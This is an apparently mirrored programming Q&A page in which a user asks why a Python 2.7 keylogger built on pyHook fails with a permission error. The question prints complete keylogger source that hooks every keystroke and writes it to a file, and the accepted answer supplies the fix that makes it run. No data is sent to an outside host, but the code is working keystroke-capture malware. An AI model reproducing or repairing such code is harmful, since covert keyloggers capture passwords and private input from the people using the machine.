Вопрос:

Errno 13 python 2.7 not sure how to fix

python python-2.7 keylogger

348 просмотра

1 ответ

10 Репутация автора

I'm trying to make a simple keylogger in Python 2.7.

Here is the code

# -*- coding: cp1252 -*-
import pyHook
import pythoncom
import sys
import logging
from subprocess import call
call(["cd","C:/"],shell=True)
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When I try to use it, it returns this error:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "C:\Users\Finlay\Documents\Python-Projects\Mali\Mali.py", line 10, in OnKeyboardEvent
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
  File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
    hdlr = FileHandler(filename, mode)
  File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
    StreamHandler.__init__(self, self._open())
  File "C:\Python27\lib\logging\__init__.py", line 943, in _open
    stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

Any help is appreciated, I can see permission is denied, but I don't know how to fix that.

Автор: Husky Prophet Источник Размещён: 04.03.2017 02:48

Ответы (1)


0 плюса

1239 Репутация автора

Решение

As it works, I put it as an answer:

You have to place the keyloggeroutput.txt to a folder where you have sufficient permissions, e.g. "My Documents" in case you are on MS Windows.

Автор: jkalden Размещён: 04.03.2017 03:05
Вопросы из категории :
32x32